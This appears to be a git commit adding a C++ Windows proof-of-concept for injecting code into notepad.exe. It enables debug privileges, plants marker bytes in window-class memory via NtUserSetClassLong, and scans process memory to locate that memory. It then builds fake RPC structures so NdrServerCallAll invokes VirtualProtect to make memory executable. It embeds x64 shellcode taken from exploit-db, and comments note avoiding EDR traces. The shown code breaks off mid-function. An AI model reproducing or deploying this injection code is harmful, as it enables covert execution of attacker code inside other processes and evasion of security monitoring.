添加项目文件。

This commit is contained in:
Huoji's
2024-10-27 22:21:56 +08:00
parent dc2b20f38b
commit e5ad598d2a
15 changed files with 2279 additions and 0 deletions

30
Resource.h Normal file
View File

@@ -0,0 +1,30 @@
//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ 生成的包含文件。
// 使用者 shit.rc
#define IDS_APP_TITLE 103
#define IDR_MAINFRAME 128
#define IDD_SHIT_DIALOG 102
#define IDD_ABOUTBOX 103
#define IDM_ABOUT 104
#define IDM_EXIT 105
#define IDI_SHIT 107
#define IDI_SMALL 108
#define IDC_SHIT 109
#define IDC_MYICON 2
#ifndef IDC_STATIC
#define IDC_STATIC -1
#endif
// 新对象的下一组默认值
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NO_MFC 130
#define _APS_NEXT_RESOURCE_VALUE 129
#define _APS_NEXT_COMMAND_VALUE 32771
#define _APS_NEXT_CONTROL_VALUE 1000
#define _APS_NEXT_SYMED_VALUE 110
#endif
#endif

15
framework.h Normal file
View File

@@ -0,0 +1,15 @@
// header.h: 标准系统包含文件的包含文件,
// 或特定于项目的包含文件
//
#pragma once
#include "targetver.h"
#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>
// C 运行时头文件
#include <stdlib.h>
#include <malloc.h>
#include <memory.h>
#include <tchar.h>

93
rpc.h Normal file
View File

@@ -0,0 +1,93 @@
#pragma once
#include <windows.h>
#include <string>
#include <vector>
#include <Rpc.h>
#include <rpcndr.h>
typedef struct _NDR64_PROC_FORMAT
{
/* 0x0000 */ unsigned int Flags;
/* 0x0004 */ unsigned int StackSize;
/* 0x0008 */ unsigned int ConstantClientBufferSize;
/* 0x000c */ unsigned int ConstantServerBufferSize;
/* 0x0010 */ unsigned short RpcFlags;
/* 0x0012 */ unsigned short FloatDoubleMask;
/* 0x0014 */ unsigned short NumberOfParams;
/* 0x0016 */ unsigned short ExtensionSize;
} NDR64_PROC_FORMAT, *PNDR64_PROC_FORMAT; /* size: 0x0018 */
/*
#define ULONG_PTR_T ULONG_PTR
#define PTR_T *
typedef struct _RPC_DISPATCH_TABLE_T {
UINT DispatchTableCount;
RPC_DISPATCH_FUNCTION PTR_T DispatchTable;
ULONG_PTR_T Reserved;
} RPC_DISPATCH_TABLE_T, PTR_T PRPC_DISPATCH_TABLE_T;
typedef struct _RPC_PROTSEQ_ENDPOINT_T {
UCHAR PTR_T RpcProtocolSequence;
UCHAR PTR_T Endpoint;
} RPC_PROTSEQ_ENDPOINT_T, PTR_T PRPC_PROTSEQ_ENDPOINT_T;
typedef struct _RPC_SERVER_INTERFACE_T {
UINT Length;
RPC_IF_ID InterfaceId;
RPC_IF_ID TransferSyntax;
PRPC_DISPATCH_TABLE_T DispatchTable;
UINT RpcProtseqEndpointCount;
PRPC_PROTSEQ_ENDPOINT_T RpcProtseqEndpoint;
RPC_MGR_EPV PTR_T DefaultManagerEpv;
void const PTR_T InterpreterInfo;
UINT Flags;
} RPC_SERVER_INTERFACE_T, PTR_T PRPC_SERVER_INTERFACE_T;
typedef struct _NDR_EXPR_DESC_T
{
const unsigned short PTR_T pOffset;
const unsigned char PTR_T pFormatExpr;
} NDR_EXPR_DESC_T;
typedef struct _MIDL_STUB_DESC_T {
void PTR_T RpcInterfaceInformation;
void PTR_T pfnAllocate;
void PTR_T pfnFree;
void PTR_T pAutoHandle;
const VOID PTR_T apfnNdrRundownRoutines;
const VOID PTR_T aGenericBindingRoutinePairs;
const VOID PTR_T apfnExprEval;
const VOID PTR_T aXmitQuintuple;
const unsigned char PTR_T pFormatTypes;
int fCheckBounds;
unsigned long Version;
VOID PTR_T pMallocFreeStruct;
long MIDLVersion;
const COMM_FAULT_OFFSETS PTR_T CommFaultOffsets;
// New fields for version 3.0+
const VOID PTR_T aUserMarshalQuadruple;
// Notify routines - added for NT5, MIDL 5.0
const VOID PTR_T NotifyRoutineTable;
ULONG_PTR_T mFlags;
// International support routines - added for 64bit post NT5
const VOID PTR_T CsRoutineTables;
void PTR_T ProxyServerInfo;
const NDR_EXPR_DESC_T PTR_T pExprInfo;
// Fields up to now present in win2000 release.
} MIDL_STUB_DESC_T, PTR_T PMIDL_STUB_DESC_T;
typedef struct _MIDL_SERVER_INFO_T {
PMIDL_STUB_DESC_T pStubDesc;
const VOID PTR_T PTR_T DispatchTable;
const unsigned char PTR_T ProcString;
const unsigned short PTR_T FmtStringOffset;
const VOID PTR_T PTR_T ThunkTable;
RPC_IF_ID PTR_T pTransferSyntax;
ULONG_PTR_T nCount;
VOID PTR_T pSyntaxInfo;
} MIDL_SERVER_INFO_T, PTR_T PMIDL_SERVER_INFO_T;
*/

763
shit.cpp Normal file
View File

@@ -0,0 +1,763 @@
// shit.cpp : 定义应用程序的入口点。
//
#include "framework.h"
#include "shit.h"
#include <windows.h>
#include <iostream>
#include "teb_def.h"
#include "rpc.h"
PVOID
SundaySearch_ByProcess(HANDLE ProcesHandle, char* pattern, PVOID address,
SIZE_T readSize);
PVOID
LookupTagClsAddressByProcess(HANDLE ProcessHandle) {
#ifdef _WIN64
#define START_ADDRESS (PVOID)0x00000000010000
#define END_ADDRESS (0x00007FF8F2580000 - 0x00000000010000)
#else
#define START_ADDRESS (PVOID)0x10000
#define END_ADDRESS (0x7FFF0000 - 0x10000)
#endif
typedef LONG(NTAPI * FnZwQueryVirtualMemory)(HANDLE, PVOID, int, PVOID,
SIZE_T, PSIZE_T);
static FnZwQueryVirtualMemory ZwQueryVirtualMemory =
(FnZwQueryVirtualMemory)GetProcAddress(LoadLibrary(L"ntdll.dll"),
"ZwQueryVirtualMemory");
if (!ZwQueryVirtualMemory) {
std::cerr << "ZwQueryVirtualMemory GetProcAddress failed: "
<< GetLastError() << std::endl;
return 0;
}
MEMORY_BASIC_INFORMATION MemoryBasicInfo = {0};
PVOID CurrentAddress = START_ADDRESS;
uint64_t TheTagClsAddress = 0;
SIZE_T BytesReturned = 0;
while (true) {
BOOLEAN ContinueEnum = FALSE;
RtlZeroMemory(&MemoryBasicInfo, sizeof(MemoryBasicInfo));
auto ntStatus = ZwQueryVirtualMemory(
ProcessHandle, CurrentAddress, 0, &MemoryBasicInfo,
sizeof(MEMORY_BASIC_INFORMATION), &BytesReturned);
if (ntStatus != 0) break;
do {
if (MemoryBasicInfo.State != MEM_COMMIT) {
break;
}
if (MemoryBasicInfo.Type != MEM_PRIVATE &&
MemoryBasicInfo.Type != MEM_MAPPED) {
break;
}
// 自己的是PAGE_READWRITE 别人的是PAGE_READONLY
if (MemoryBasicInfo.Protect != PAGE_READONLY) {
break;
}
TheTagClsAddress = (uint64_t)SundaySearch_ByProcess(
ProcessHandle, (char*)"13 37 CC A0 A0 68 75 6F 6A 69",
(UCHAR*)CurrentAddress, MemoryBasicInfo.RegionSize);
if (TheTagClsAddress != NULL) {
break;
}
} while (FALSE);
if (TheTagClsAddress != 0) {
break;
}
CurrentAddress = (PVOID)((ULONG_PTR)MemoryBasicInfo.BaseAddress +
MemoryBasicInfo.RegionSize);
}
return (PVOID)TheTagClsAddress;
}
void printHex(const char* name, const void* data, size_t size) {
printf("%s: ", name);
const unsigned char* byteData = (const unsigned char*)data;
for (size_t i = 0; i < size; ++i) {
printf("%02X ", byteData[i]);
}
printf("\n");
}
struct _NDR64_PARAM_FLAGS {
unsigned __int16 MustSize : 1;
unsigned __int16 MustFree : 1;
unsigned __int16 IsPipe : 1;
unsigned __int16 IsIn : 1;
unsigned __int16 IsOut : 1;
unsigned __int16 IsReturn : 1;
unsigned __int16 IsBasetype : 1;
unsigned __int16 IsByValue : 1;
unsigned __int16 IsSimpleRef : 1;
unsigned __int16 IsDontCallFreeInst : 1;
unsigned __int16 SaveForAsyncFinish : 1;
unsigned __int16 IsPartialIgnore : 1;
unsigned __int16 IsForceAllocate : 1;
unsigned __int16 Reserved : 2;
unsigned __int16 UseCache : 1;
};
typedef const void* PNDR64_FORMAT;
typedef struct _NDR64_PARAM_FORMAT {
void* Type;
_NDR64_PARAM_FLAGS Attributes;
unsigned __int16 Reserved;
unsigned __int32 StackOffset;
};
/*
.rdata:00007FFF3A2784E0 ?Ndr64SimpleTypeBufferSize@@3QBEB db 0 ; DATA XREF:
Ndr64ComplexStructBufferSize(_MIDL_STUB_MESSAGE *,uchar *,void const
*)+31B↑o .rdata:00007FFF3A2784E0 ;
Ndr64UnionBufferSize(_MIDL_STUB_MESSAGE *,uchar *,void const *)+B8↑o ...
.rdata:00007FFF3A2784E1 db 1
.rdata:00007FFF3A2784E2 db 1
.rdata:00007FFF3A2784E3 db 2
.rdata:00007FFF3A2784E4 db 2
.rdata:00007FFF3A2784E5 db 4
.rdata:00007FFF3A2784E6 db 4
.rdata:00007FFF3A2784E7 db 8
.rdata:00007FFF3A2784E8 db 8
*/
enum class _Ndr64SimpleTypeBUfferSizeMap {
kChar = 0,
kShort = 2,
kint32 = 4,
kint64 = 6
};
// https://www.exploit-db.com/shellcodes/49819
// 没办法把shellcode写到cls内存里面,因为那个是map的属性.所以提前写到编辑框里面
unsigned char payload[] =
"\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b"
"\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08"
"\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24"
"\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6"
"\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96"
"\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e"
"\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
"\x48\x83\xec\x20\x41\xff\xd6";
void buildVirtualProtectShellCode(char* tmpShellcode,
uint64_t editShellcodeLocation,
uint64_t theNdrServerCallAllAddress,
uint64_t shellCodeChangeAddress,
uint64_t virtualProtectReturnValue) {
//第二个shellcode在编辑框里面,负责call virtualprotect
*(ULONG_PTR*)tmpShellcode = (ULONG_PTR)editShellcodeLocation;
// *Message->Handle + 0x80 = NdrServerCallAll
*(ULONG_PTR*)(tmpShellcode + 0x80) = (ULONG_PTR)theNdrServerCallAllAddress;
#define REMOTE_EDIT_ADDRESS(x) \
((ULONG_PTR)(x) - (ULONG_PTR)tmpShellcode + \
(ULONG_PTR)editShellcodeLocation)
RPC_MESSAGE* RpcMsg0 = (RPC_MESSAGE*)tmpShellcode;
RPC_SERVER_INTERFACE* RpcInterfaceInfo0 =
(RPC_SERVER_INTERFACE*)(tmpShellcode + 0x88);
MIDL_SERVER_INFO* RpcSrvInfo0 =
(MIDL_SERVER_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE));
PVOID* DispatchTable0 =
(PVOID*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO));
MIDL_SYNTAX_INFO* SyntaxInfo0 =
(MIDL_SYNTAX_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID));
MIDL_STUB_DESC* StubDesc0 =
(MIDL_STUB_DESC*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
sizeof(MIDL_SYNTAX_INFO) * 2);
ULONG_PTR* FmtStrOffset0 =
(ULONG_PTR*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC));
NDR64_PROC_FORMAT* ProcStr0 =
(NDR64_PROC_FORMAT*)(tmpShellcode + 0x88 +
sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
sizeof(MIDL_SYNTAX_INFO) * 2 +
sizeof(MIDL_STUB_DESC) + sizeof(ULONG_PTR));
//_NDR_PROC_CONTEXT Ndr+Proc
DispatchTable0[0] = (PVOID)VirtualProtect;
RpcSrvInfo0->DispatchTable =
(SERVER_ROUTINE*)REMOTE_EDIT_ADDRESS(DispatchTable0);
FmtStrOffset0[0] = (ULONG_PTR)REMOTE_EDIT_ADDRESS(ProcStr0);
(SyntaxInfo0 + 1)->FmtStringOffset =
(USHORT*)REMOTE_EDIT_ADDRESS(FmtStrOffset0);
RpcSrvInfo0->pSyntaxInfo =
(MIDL_SYNTAX_INFO*)REMOTE_EDIT_ADDRESS(SyntaxInfo0);
RpcSrvInfo0->pStubDesc = (MIDL_STUB_DESC*)REMOTE_EDIT_ADDRESS(StubDesc0);
RpcSrvInfo0->DispatchTable =
(SERVER_ROUTINE*)REMOTE_EDIT_ADDRESS(DispatchTable0);
// RpcSrvInfo0->FmtStringOffset = (unsigned short*)0x1337;
RpcSrvInfo0->ProcString = (PFORMAT_STRING)0xAAAA;
RpcInterfaceInfo0->InterpreterInfo =
(MIDL_SERVER_INFO*)REMOTE_EDIT_ADDRESS(RpcSrvInfo0);
RpcMsg0->RpcInterfaceInformation =
(RPC_SERVER_INTERFACE*)REMOTE_EDIT_ADDRESS(RpcInterfaceInfo0);
RpcMsg0->ProcNum = 0;
RpcMsg0->RpcFlags = 0x1000;
*(ULONG_PTR*)(tmpShellcode + 0x100) =
(ULONG_PTR)VirtualProtect;
auto calcOffset = 0x88 + sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC) +
sizeof(ULONG_PTR) + sizeof(NDR64_PROC_FORMAT);
// auto remoteCallAddr = REMOTE_CLS_ADDRESS(tmpShellcode + calcOffset);
//*(ULONG_PTR*)(tmpShellcode + calcOffset) = remoteCallAddr;
// calcOffset += sizeof(ULONG_PTR);
/*
* https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/mulsyntx.cxx#L1152
if ( pParamFlags->IsIn ||
(pParamFlags->IsReturn && !pNdr64Flags->HasComplexReturn) ||
pParamFlags->IsPipe )
continue;
*/
std::vector<_NDR64_PARAM_FORMAT*> theParamTypeAddress;
// type的指针,这个type会读两次 **typeaddr
auto fnSetNdr64Param = [&]() {
static auto currentCopyCount = 0;
auto ndr64Param = (_NDR64_PARAM_FORMAT*)(tmpShellcode + calcOffset);
ndr64Param->Attributes.IsIn = true;
ndr64Param->Attributes.IsBasetype = true;
// auto typeAddress = tmpShellcode + calcOffset;
// theParamTypeAddress.push_back(typeAddress);
// ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress);
ndr64Param->StackOffset = currentCopyCount * 4;
currentCopyCount += 1;
// 这个没用,因为不走IsSimpleRef,simpleref那段内存是read only没办法赋值
// https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/srvcall.cxx#L694C31-L694C43
//*(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64;
// calcOffset += sizeof(_NDR64_PARAM_FORMAT);
theParamTypeAddress.push_back(ndr64Param);
calcOffset += sizeof(_NDR64_PARAM_FORMAT);
};
const auto virtualProtectParamSize = 8 * 4;
for (size_t i = 0; i < virtualProtectParamSize / 4; i++) {
fnSetNdr64Param();
}
auto paramsBuffer = tmpShellcode + calcOffset;
// 设置参数
RpcMsg0->Buffer = (void*)REMOTE_EDIT_ADDRESS(paramsBuffer);
RpcMsg0->BufferLength = virtualProtectParamSize; // virtualprotect的参数
calcOffset += RpcMsg0->BufferLength;
// Make HandleType to 0
ProcStr0->Flags = 1;
ProcStr0->StackSize = virtualProtectParamSize;
ProcStr0->NumberOfParams = RpcMsg0->BufferLength / 4;
auto tempCover = (uint64_t)shellCodeChangeAddress;
memcpy(paramsBuffer, &tempCover, 8);
tempCover = (uint64_t)sizeof(payload);
memcpy(paramsBuffer + 8, &tempCover, 8);
tempCover = (uint64_t)PAGE_EXECUTE_READWRITE;
memcpy(paramsBuffer + 8 + 8, &tempCover, 8);
memcpy(paramsBuffer + 8 + 8 + 8, &virtualProtectReturnValue, 8);
calcOffset += sizeof(uint64_t);
for (auto ndr64Param : theParamTypeAddress) {
auto typeAddress = tmpShellcode + calcOffset;
ndr64Param->Type = (void*)REMOTE_EDIT_ADDRESS(typeAddress);
calcOffset += sizeof(void*);
*(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64;
calcOffset += sizeof(char);
}
auto payloadAddress = tmpShellcode + calcOffset;
tempCover = REMOTE_EDIT_ADDRESS(payloadAddress);
memcpy(payloadAddress, payload, sizeof(payload));
//I_RpcGetBufferWithObject
//if ( !Message->Handle || *((_DWORD *)Handle + 2) != 0x89ABCDEF || (*((_DWORD *)Handle + 3) & 0x33307C) == 0 )
*(ULONG*)(tmpShellcode + 8) = (ULONG)0x89ABCDEF;
*(ULONG*)(tmpShellcode + 3 * 4) = (ULONG)0x33307C;
// (*(__int64 (__fastcall **)(BINDING_HANDLE *, RPC_MESSAGE *))(*(_QWORD *)Handle + 0x68i64))(Handle, v4);
//这里每个系统都不一样,我的是0x70
*(ULONG_PTR*)(tmpShellcode + 0x70) = (ULONG_PTR)tempCover;
printf("payload address: %p remoteaddress: %p ", payloadAddress, tempCover);
}
void PrivilegeEscalation() {
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tp;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken);
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = luid;
AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
}
int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine,
_In_ int nCmdShow) {
PrivilegeEscalation();
// 创建notepad进程,泄露就泄露了 去他妈的
STARTUPINFO si = {sizeof(si)};
PROCESS_INFORMATION pi;
if (!CreateProcess(L"L:\\Windows\\system32\\notepad.exe", NULL, NULL, NULL,
FALSE, 0, NULL, NULL, &si, &pi)) {
std::cerr << "CreateProcess failed: " << GetLastError() << std::endl;
return 1;
}
// 等完全起来
WaitForInputIdle(pi.hProcess, INFINITE);
// 获取notepad进程中edit窗口的句柄
HWND hwndNotepad = FindWindow(L"Notepad", NULL);
HWND hwndEdit = FindWindowEx(hwndNotepad, NULL, L"Edit", NULL);
if (!hwndEdit) {
std::cerr << "FindWindowEx failed: " << GetLastError() << std::endl;
return 1;
}
// 注册一个带有额外类内存的窗口类
// https://learn.microsoft.com/en-us/windows/win32/winmsg/about-window-classes?redirectedfrom=MSDN
WNDCLASSEX wcex = {sizeof(wcex)};
wcex.lpfnWndProc = DefWindowProc;
wcex.cbClsExtra = wcex.cbWndExtra = 1024 * 64;
wcex.lpszClassName = L"CustomWindowClass";
wcex.hInstance = hInstance;
if (!RegisterClassEx(&wcex)) {
std::cerr << "RegisterClassEx failed: " << GetLastError() << std::endl;
return 1;
}
// 创建一个仅消息窗口
HWND hwndMessage =
CreateWindowExW(0, L"CustomWindowClass", NULL, 0, 0, 0, 0, 0,
HWND_MESSAGE, NULL, hInstance, NULL);
if (!hwndMessage) {
std::cerr << "CreateWindowEx failed: " << GetLastError() << std::endl;
return 1;
}
ShowWindow(hwndMessage, SW_SHOW);
UpdateWindow(hwndMessage);
#ifdef _WIN64
typedef LONG(NTAPI * FnNtUserSetClassLong)(HWND hWnd, INT Offset,
LONG64 dwNewLong, BOOL Ansi);
#else
typedef LONG(NTAPI * FnNtUserSetClassLong)(HWND hWnd, INT Offset,
LONG dwNewLong, BOOL Ansi);
#endif // _WIN64
FnNtUserSetClassLong NtUserSetClassLong =
(FnNtUserSetClassLong)GetProcAddress(LoadLibrary(L"win32u.dll"),
"NtUserSetClassLong");
if (!NtUserSetClassLong) {
std::cerr << "NtUserSetClassLong GetProcAddress failed: "
<< GetLastError() << std::endl;
return 1;
}
/*
typedef LONG(NTAPI* FnNtUserSetClassLongPtr)(HWND hwnd, INT offset, LONG_PTR
newval, BOOL ansi); FnNtUserSetClassLongPtr NtUserSetClassLongPtr =
(FnNtUserSetClassLongPtr)GetProcAddress(LoadLibrary(L"win32u.dll"),
"NtUserSetClassLongPtr");
if (!NtUserSetClassLongPtr) {
std::cerr << "NtUserSetClassLongPtr GetProcAddress failed: " <<
GetLastError() << std::endl; return 1;
}
*/
const char shitInput[] = {0x13, 0x37, 0xCC, 0xA0, 0xA0,
0x68, 0x75, 0x6f, 0x6a, 0x69};
// https://github.com/wine-mirror/wine/blob/1134834b7478632da9c60f36d4a7cf254729242c/dlls/win32u/class.c#L705
// offset = 0
for (size_t i = 0; i < sizeof(shitInput); i++) {
NtUserSetClassLong(hwndMessage, i, shitInput[i], FALSE);
}
// 通过查找TEB->Win32ClientInfo->phkCurrent结构下的AllocationBase来确定窗口内存的基址
// 只是缩小范围,其实不如直接virtualqueryex,我实在是不知道这里要怎么定位到notepad的地址.如果用win32
// api edr绝对有痕迹 这里就是用readmemory
auto TheTagClsAddress = LookupTagClsAddressByProcess((HANDLE)-1);
if (TheTagClsAddress == 0) {
std::cerr << "TheTagClsAddress failed: " << GetLastError() << std::endl;
return 1;
}
auto TheNotepadTagClsAddress = LookupTagClsAddressByProcess(pi.hProcess);
if (TheNotepadTagClsAddress == 0) {
std::cerr << "TheNotepadTagClsAddress failed: " << GetLastError()
<< std::endl;
return 1;
}
for (size_t i = 0; i < sizeof(shitInput); i++) {
NtUserSetClassLong(hwndMessage, i, 0x0, FALSE);
}
// 这个作者抄了这玩意
// https://modexp.wordpress.com/2020/07/07/wpi-wm-paste/
// https://github.com/odzhan/injection/blob/master/eminject/poc.c#L38
/*
RPC_STATUS __stdcall I_RpcFreePipeBuffer(RPC_MESSAGE *Message) {
(*(void (__fastcall **)(RPC_BINDING_HANDLE, RPC_MESSAGE *))(*(_QWORD
*)Message->Handle + 0x80))( //Message->Handle + 0x80 = NdrServerCallAll
Message->Handle, // Message->Handle = PRPC_MESSAGE pRpcMsg
Message);
return 0;
}
*/
/*
void __stdcall NdrServerCallAll(PRPC_MESSAGE pRpcMsg)
{
struct _MIDL_SERVER_INFO_ **RpcInterfaceInformation; // rax
unsigned int v2; // [rsp+50h] [rbp+8h] BYREF
RpcInterfaceInformation = (struct _MIDL_SERVER_INFO_
**)pRpcMsg->RpcInterfaceInformation; v2 = 0;
((void (__stdcall *)(void *, void *, struct _RPC_MESSAGE *, struct
_MIDL_SERVER_INFO_ *, int (*const *)(void), struct _MIDL_SYNTAX_INFO *,
unsigned int *))Ndr64StubWorker)( 0i64, 0i64, pRpcMsg,
RpcInterfaceInformation[0xA],
RpcInterfaceInformation[0xA]->DispatchTable,
RpcInterfaceInformation[0xA]->pSyntaxInfo + 1,
&v2);
}
*/
// 不可以用NdrServerCall2的原因是需要调用PerformRpcInitialization。
const auto hRpcRt4 = LoadLibraryA("rpcrt4.dll");
const auto theNdrServerCallAllAddress =
(uint64_t)GetProcAddress(hRpcRt4, "NdrServerCallAll");
const auto theI_RpcFreePipeBufferAddr =
GetProcAddress(hRpcRt4, "I_RpcFreePipeBuffer");
const auto theVirtualProtectAddr = (void*)VirtualProtect;
// PRPC_MESSAGE->Handle
/*
const auto fnInitRpcMessageHandle = [&](void* localStartAddress, void*
remoteStartAddress, void* callAddress) -> void { static const auto maxSize =
sizeof(RPC_MESSAGE) + 0x100 + 0x80 + 0x80; const auto tempBuffer = new
char[maxSize]; memset(tempBuffer, 0x0, maxSize); const auto
remote_notepad_rpc_Message = (PRPC_MESSAGE)((uint64_t)remoteStartAddress);
const auto remote_notepad_rpc_Message_handle =
(void*)((uint64_t)remote_notepad_rpc_Message + sizeof(RPC_MESSAGE));
//这里会是RPC_MESSAGE开头
const auto remote_notepad_rpc_RpcInterfaceInformation =
(void*)((uint64_t)remote_notepad_rpc_Message_handle + 0x100); const auto
remote_notepad_rpc_RpcInterfaceInformation_DisPathTable =
(void*)((uint64_t)remote_notepad_rpc_RpcInterfaceInformation + 0x80); const
auto remote_notepad_rpc_RpcInterfaceInformation_DisPathTable_Dispath =
(void*)((uint64_t)remote_notepad_rpc_RpcInterfaceInformation_DisPathTable +
0x80);
const auto local_rpc_Message = (PRPC_MESSAGE)((uint64_t)tempBuffer);
const auto local_rpc_Message_handle =
(void*)((uint64_t)local_rpc_Message +
sizeof(RPC_MESSAGE));//这里会是RPC_MESSAGE开头,很重要,给后面的local_rpc_dispath_table_dispath_table用
const auto local_rpc_RpcInterfaceInformation =
(void*)((uint64_t)local_rpc_Message_handle + sizeof(RPC_MESSAGE) + 0x100);
const auto local_rpc_RpcInterfaceInformation_DisPathTable =
(void*)((uint64_t)local_rpc_RpcInterfaceInformation + 0x80); const auto
local_rpc_RpcInterfaceInformation_DisPathTable_Dispath =
(void*)((uint64_t)local_rpc_RpcInterfaceInformation_DisPathTable + 0x80);
local_rpc_Message->ProcNum = 0; //这里填0
local_rpc_Message->RpcInterfaceInformation =
(void**)remote_notepad_rpc_RpcInterfaceInformation;
local_rpc_Message->Handle = (void*)remote_notepad_rpc_Message_handle;
// 填第一次Message->Handle + 0x80的地址 :
*(uint64_t*)((uint64_t)local_rpc_Message_handle + 0x80) =
theNdrServerCallAllAddress;
auto wtf = ((uint64_t)local_rpc_RpcInterfaceInformation + 0xA0 *
sizeof(void*));
*(uint32_t*)(wtf + 0x0) = 0x80;//长度
*(uint64_t*)(wtf + 0x8) =
(uint64_t)remote_notepad_rpc_RpcInterfaceInformation_DisPathTable;//dispathPath(也是一个数组)
auto local_rpc_dispath_table =
(uint64_t*)(local_rpc_RpcInterfaceInformation_DisPathTable);
*(uint32_t*)((uint64_t)local_rpc_dispath_table + 0x0) = 1;//
dispath_count
*(uint64_t*)((uint64_t)local_rpc_dispath_table + 0x4) =
(uint64_t)remote_notepad_rpc_RpcInterfaceInformation_DisPathTable_Dispath;
// dispath_dispath
auto local_rpc_dispath_table_dispath_table =
(uint64_t*)(local_rpc_RpcInterfaceInformation_DisPathTable_Dispath);
*(uint64_t*)((uint64_t)local_rpc_dispath_table_dispath_table + 0x0) =
(uint64_t)callAddress; memcpy(tempBuffer, local_rpc_Message, maxSize);
// +8的原因是里面会读一次RCX这个傻逼指针,所以+8是给RCX指针的 32位给4
auto baseIndex = (uint64_t)localStartAddress + 0x8 -
(uint64_t)TheTagClsAddress; for (size_t i = 0; i < maxSize; i++)
{
NtUserSetClassLong(hwndMessage, i + baseIndex, tempBuffer[i],
FALSE);
}
delete[] tempBuffer;
};
*/
// const auto localrpcMessage = (PRPC_MESSAGE)((uint64_t)TheTagClsAddress +
// 0x8); const auto remoterpcMessage =
// (PRPC_MESSAGE)((uint64_t)TheNotepadTagClsAddress + 0x8);
// +8的原因是里面会读一次RCX这个傻逼指针,所以+8是给RCX指针的 32位给4
/*
fnInitRpcMessageHandle((void*)((uint64_t)TheTagClsAddress),
(void*)((uint64_t)TheNotepadTagClsAddress),
(void*)theNdrServerCallAllAddress);
*/
// const auto local_rpc_Message_handle22 = (void*)((uint64_t)localrpcMessage
// + sizeof(RPC_MESSAGE));
// 现在再填一次local_rpc_Message_handle
// fnInitRpcMessageHandle((void*)localrpcMessage->Handle,
// (void*)remoterpcMessage, (void*)theVirtualProtectAddr);
// +0指向自己 +8的地方
// *(uint64_t*)((uint64_t)TheTagClsAddress + 0x0) =
// (uint64_t)localrpcMessage;
/*
char tempBuffer[8];
memcpy(tempBuffer, &remoterpcMessage, 8);
for (size_t i = 0; i < 8; i++)
{
NtUserSetClassLong(hwndMessage, i, tempBuffer[i], FALSE);
}
*/
const auto allocShellcodeSize = 2048;
char* tmpShellcode = (char*)malloc(allocShellcodeSize);
memset(tmpShellcode, 0, allocShellcodeSize);
char* editShellcode = (char*)malloc(allocShellcodeSize);
memset(editShellcode, 0, allocShellcodeSize);
// I_RpcFreePipeBuffer(Message)
// Message = EditControlPtr
// Message->Handle = Shellcode
// *Message->Handle = Shellcode
*(ULONG_PTR*)tmpShellcode = (ULONG_PTR)TheNotepadTagClsAddress;
// *Message->Handle + 0x80 = NdrServerCallAll
*(ULONG_PTR*)(tmpShellcode + 0x80) = (ULONG_PTR)theNdrServerCallAllAddress;
#define REMOTE_CLS_ADDRESS(x) \
((ULONG_PTR)(x) - (ULONG_PTR)tmpShellcode + \
(ULONG_PTR)TheNotepadTagClsAddress)
// NdrServerCallAll(pRpcMsg)
// pRpcMsg = Shellcode
